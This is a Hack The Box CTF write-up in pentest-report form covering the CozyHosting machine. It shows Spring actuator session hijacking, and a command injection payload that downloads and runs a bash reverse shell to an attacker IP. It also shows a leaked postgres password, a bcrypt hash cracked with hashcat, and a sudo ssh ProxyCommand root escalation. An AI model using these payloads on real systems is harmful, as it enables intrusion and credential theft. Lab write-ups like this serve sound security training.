Hack The Box CozyHosting Writeup (Easy Linux)

Summary

CozyHosting is an easy Linux machine running a Spring Boot application, which gives itself away through the Whitelabel error page. Its actuator endpoints are exposed, and /actuator/sessions lists live session identifiers, so replacing the JSESSIONID cookie with kanderson’s grants access to /admin without a password. The admin area carries a Cozy Scanner feature whose username parameter is passed to a shell, and a command injection there downloads and runs a bash reverse shell, landing as the app user. The deployed cloudhosting-0.0.1.jar decompiles with jd-gui, and BOOT-INF/classes/application.properties holds the postgres password; the database yields the site admin’s bcrypt hash, hashcat cracks it, and that password is reused for the local user josh. Finally, josh may run ssh as root, and the ProxyCommand trick from GTFOBins turns that into a root shell.

export IP=10.10.11.230

Service Enumeration

Web Server Enumeration

Virtual Host: cozyhosting.htb Running Spring Boot (Whitelabel Error Page discovered by triggering 404)

Exposed Session Tokens

Vulnerability Explanation: Behind Security was able to log in as ‘kenderson’ without knowing its password. A remote attacker can visualize user session tokens at http://cozyhosting.htb/actuator/sessions.

Vulnerability Fix: Deactivate actuator functionality within Spring Boot (…).

Severity: High

Steps to Reproduce the Attack:

1. Go to http://cozyhosting.htb/actuator/sessions
2. Copy the JSESSID cookie for ‘kanderson’ (in this case, 2DE64B2D0D0F8FE1274B0DFACA951675)
3. Go to the home page
4. Change your JSESSID cookie to 2DE64B2D0D0F8FE1274B0DFACA951675
5. Go to /admin

Initial Access - Command Injection

Vulnerability Explanation: Within the admin panel, we are able to use a funcionality named “Cozy Scanner”. There’s a command injection vulnerability that allows a authenticated remote attacker to execute commands on the system as the user ‘app’.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

1. Fire up burpsuite
2. Capture a request using the funcionality
3. Detect the injection point on the parameter ‘username’ by inserting a single quote (‘)
4. Create a bash reverse shell (evil.sh):

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.68/9001 0>&1

1. Use the payload below to download and save it to the /tmp directory:

host=127.0.0.1&username=kali;`{wget,10.10.14.68/evil.sh,-O,/tmp/evil.sh}`

1. Fire up netcat on port 9001 nc -lvnp 9001
2. Execute the script

host=127.0.0.1&username=kali;`{bash,/tmp/evil.sh}`

Post Exploitation

LPE to josh - Hardcoded Credentials

Vulnerability Explanation: Behind Security was able to decompile the compiled jar file cloudhosting-0.0.1.jar and got the password for the postgres user. With that password, Behind Security logged in to the postgre database and retrieved the password hash of the admin of CozyHosting. After sucessfully cracking the password, it was observed that there is a password reuse, because Behind Security was able to log in as ‘josh’ using the same password as the site admin.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

1. Download the jar file to the local machine
2. Use jd-gui to decompile it
3. Search for the file ‘application.properties’ located at BOOT-INF/classes

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

1. Use the password to log in and get the admin password hash. Crack the hash using netcat and rockyou.txt

C:\Users\guiaa\OneDrive\Documentos\Hacking\hashcat-6.2.6>hashcat.exe -d 1 -a 0 -m 3200 hash.txt wordlists\rockyou.txt
hashcat (v6.2.6) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

Failed to initialize NVIDIA RTC library.

* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
             CUDA SDK Toolkit required for proper device support and utilization.
             Falling back to OpenCL runtime.

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL API (OpenCL 3.0 CUDA 12.2.79) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #1: NVIDIA GeForce GTX 1050 Ti, 3968/4095 MB (1023 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 14 MB

Dictionary cache hit:
* Filename..: wordlists\rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib...kVO8dm
Time.Started.....: Mon Sep 04 15:32:11 2023 (15 secs)
Time.Estimated...: Mon Sep 04 15:32:26 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      191 H/s (10.69ms) @ Accel:4 Loops:8 Thr:11 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2904/14344385 (0.02%)
Rejected.........: 0/2904 (0.00%)
Restore.Point....: 2640/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1016-1024
Candidate.Engine.: Device Generator
Candidates.#1....: cartoon -> iloveyou3
Hardware.Mon.#1..: Temp: 42c Fan: 30% Util: 99% Core:1784MHz Mem:3504MHz Bus:16

Started: Mon Sep 04 15:32:03 2023
Stopped: Mon Sep 04 15:32:28 2023

1. Log in to josh using the password: manchesterunited

LPE to root

Vulnerability Explanation: User Josh can run SSH as root (sudo -l). A specially crafted ssh command allows Josh to escalate privileges to root, obtaining full control over the system.

Vulnerability Fix: (…)

Severity: Extreme

Steps to Reproduce the Attack:

1. Run sudo -l and insert Josh’s password: manchesterunited
2. Run sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x